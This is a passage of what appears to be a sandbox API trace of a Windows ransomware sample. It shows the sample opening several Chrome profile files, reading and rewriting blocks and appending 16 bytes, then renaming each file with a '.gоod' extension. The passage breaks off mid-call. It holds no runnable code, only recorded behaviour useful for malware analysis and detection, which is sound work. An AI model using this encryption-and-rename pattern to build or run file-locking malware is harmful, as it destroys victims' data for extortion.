WriteFile (in: hFile=0x7c8, lpBuffer=0x3562c28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x3562c28*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0175.009] CloseHandle (hObject=0x7c8) returned 1 [0175.010] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal", lpFilePart=0x0) returned 0x59 [0175.011] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal.gоod", lpFilePart=0x0) returned 0x5e [0175.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0175.012] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517348e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517348e4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x6487e5b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0175.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0175.012] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db-journal.gоod")) returned 1 [0175.024] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", lpFilePart=0x0) returned 0x4a [0175.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0175.024] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), fInfoLevelId=0x0, lpFileInformation=0x35c34b0 | out: lpFileInformation=0x35c34b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebab07e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xebab07e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xebd41496, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd000)) returned 1 [0175.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0175.025] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", lpFilePart=0x0) returned 0x4a [0175.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0175.025] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0175.025] GetFileType (hFile=0x7c8) returned 0x1 [0175.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0175.025] GetFileType (hFile=0x7c8) returned 0x1 [0175.025] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0175.025] ReadFile (in: hFile=0x7c8, lpBuffer=0x35c38d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x35c38d8*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0175.027] CloseHandle (hObject=0x7c8) returned 1 [0175.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", lpFilePart=0x0) returned 0x4a [0175.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0175.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0175.027] GetFileType (hFile=0x7c8) returned 0x1 [0175.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0175.027] GetFileType (hFile=0x7c8) returned 0x1 [0175.027] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0xd000 [0175.027] WriteFile (in: hFile=0x7c8, lpBuffer=0x35c4c18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x35c4c18*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0175.028] CloseHandle (hObject=0x7c8) returned 1 [0175.028] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", lpFilePart=0x0) returned 0x4a [0175.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0175.028] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0175.028] GetFileType (hFile=0x7c8) returned 0x1 [0175.028] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0175.028] GetFileType (hFile=0x7c8) returned 0x1 [0175.028] ReadFile (in: hFile=0x7c8, lpBuffer=0x35c6ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x35c6ee0*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0175.222] CloseHandle (hObject=0x7c8) returned 1 [0175.223] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", lpFilePart=0x0) returned 0x4a [0175.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0175.223] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0175.223] GetFileType (hFile=0x7c8) returned 0x1 [0175.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0175.223] GetFileType (hFile=0x7c8) returned 0x1 [0175.223] WriteFile (in: hFile=0x7c8, lpBuffer=0x341abf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x341abf8*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0175.223] CloseHandle (hObject=0x7c8) returned 1 [0175.224] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager", lpFilePart=0x0) returned 0x4a [0175.224] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager.gоod", lpFilePart=0x0) returned 0x4f [0175.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0175.224] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebab07e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xebab07e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x64a6e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd010)) returned 1 [0175.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0175.224] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager.gоod")) returned 1 [0175.226] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal", lpFilePart=0x0) returned 0x52 [0175.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0175.226] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal"), fInfoLevelId=0x0, lpFileInformation=0x347d8c8 | out: lpFileInformation=0x347d8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebab2f0c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xebab2f0c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xebd83378, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0175.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0175.226] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal", lpFilePart=0x0) returned 0x52 [0175.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0175.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0175.227] GetFileType (hFile=0x7c8) returned 0x1 [0175.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0175.227] GetFileType (hFile=0x7c8) returned 0x1 [0175.227] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f6eaa08 | out: lpFileSizeHigh=0x1f6eaa08*=0x0) returned 0x0 [0176.244] CloseHandle (hObject=0x7c8) returned 1 [0176.457] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal", nBufferLength=0x105, lpBuffer=0x1f6ea340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal", lpFilePart=0x0) returned 0x52 [0176.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea860) returned 1 [0176.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0176.458] GetFileType (hFile=0x7c8) returned 0x1 [0176.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea7d0) returned 1 [0176.458] GetFileType (hFile=0x7c8) returned 0x1 [0176.458] WriteFile (in: hFile=0x7c8, lpBuffer=0x3510e20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea848, lpOverlapped=0x0 | out: lpBuffer=0x3510e20*, lpNumberOfBytesWritten=0x1f6ea848*=0x10, lpOverlapped=0x0) returned 1 [0176.459] CloseHandle (hObject=0x7c8) returned 1 [0176.459] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal", lpFilePart=0x0) returned 0x52 [0176.459] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal.gоod", lpFilePart=0x0) returned 0x57 [0176.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0176.459] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebab2f0c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xebab2f0c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x65633d21, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0176.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0176.460] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\QuotaManager-journal.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\quotamanager-journal.gоod")) returned 1 [0176.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", lpFilePart=0x0) returned 0x50 [0176.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea9b0) returned 1 [0176.461] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), fInfoLevelId=0x0, lpFileInformation=0x35120a8 | out: lpFileInformation=0x35120a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5706285f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeeb01e7d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeeb01e7d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x8617)) returned 1 [0176.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea970) returned 1 [0176.462] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", lpFilePart=0x0) returned 0x50 [0176.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0176.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0176.462] GetFileType (hFile=0x7c8) returned 0x1 [0176.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0176.462] GetFileType (hFile=0x7c8) returned 0x1 [0176.462] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x1000 [0176.462] ReadFile (in: hFile=0x7c8, lpBuffer=0x3512500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea9d8, lpOverlapped=0x0 | out: lpBuffer=0x3512500*, lpNumberOfBytesRead=0x1f6ea9d8*=0x1000, lpOverlapped=0x0) returned 1 [0177.088] CloseHandle (hObject=0x7c8) returned 1 [0177.088] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", lpFilePart=0x0) returned 0x50 [0177.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0177.088] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0177.453] GetFileType (hFile=0x7c8) returned 0x1 [0177.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0177.454] GetFileType (hFile=0x7c8) returned 0x1 [0177.454] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6eaa08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6eaa08*=0) returned 0x8617 [0177.454] WriteFile (in: hFile=0x7c8, lpBuffer=0x341cba0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ea8f8, lpOverlapped=0x0 | out: lpBuffer=0x341cba0*, lpNumberOfBytesWritten=0x1f6ea8f8*=0x10, lpOverlapped=0x0) returned 1 [0177.455] CloseHandle (hObject=0x7c8) returned 1 [0177.455] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", lpFilePart=0x0) returned 0x50 [0177.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0177.455] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0177.455] GetFileType (hFile=0x7c8) returned 0x1 [0177.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0177.456] GetFileType (hFile=0x7c8) returned 0x1 [0177.456] ReadFile (in: hFile=0x7c8, lpBuffer=0x341ef00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ea988, lpOverlapped=0x0 | out: lpBuffer=0x341ef00*, lpNumberOfBytesRead=0x1f6ea988*=0x1000, lpOverlapped=0x0) returned 1 [0177.484] CloseHandle (hObject=0x7c8) returned 1 [0177.484] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", lpFilePart=0x0) returned 0x50 [0177.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea8b0) returned 1 [0177.484] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0177.484] GetFileType (hFile=0x7c8) returned 0x1 [0177.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea820) returned 1 [0177.484] GetFileType (hFile=0x7c8) returned 0x1 [0177.484] WriteFile (in: hFile=0x7c8, lpBuffer=0x341dc38*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6eaa38, lpOverlapped=0x0 | out: lpBuffer=0x341dc38*, lpNumberOfBytesWritten=0x1f6eaa38*=0x1010, lpOverlapped=0x0) returned 1 [0177.484] CloseHandle (hObject=0x7c8) returned 1 [0177.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences", lpFilePart=0x0) returned 0x50 [0177.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.gоod", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.gоod", lpFilePart=0x0) returned 0x55 [0177.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea970) returned 1 [0177.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), fInfoLevelId=0x0, lpFileInformation=0x1f6eaa50 | out: lpFileInformation=0x1f6eaa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5706285f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeeb01e7d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x66009ca3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8627)) returned 1 [0177.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea930) returned 1 [0177.485] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\secure preferences.gоod")) returned 1 [0177.486] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", nBufferLength=0x105, lpBuffer=0x1f6ea4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts", lpFilePart=0x0) returned 0x47 [0177.486] SetThreadErrorMode (dwNewMode=0x1, 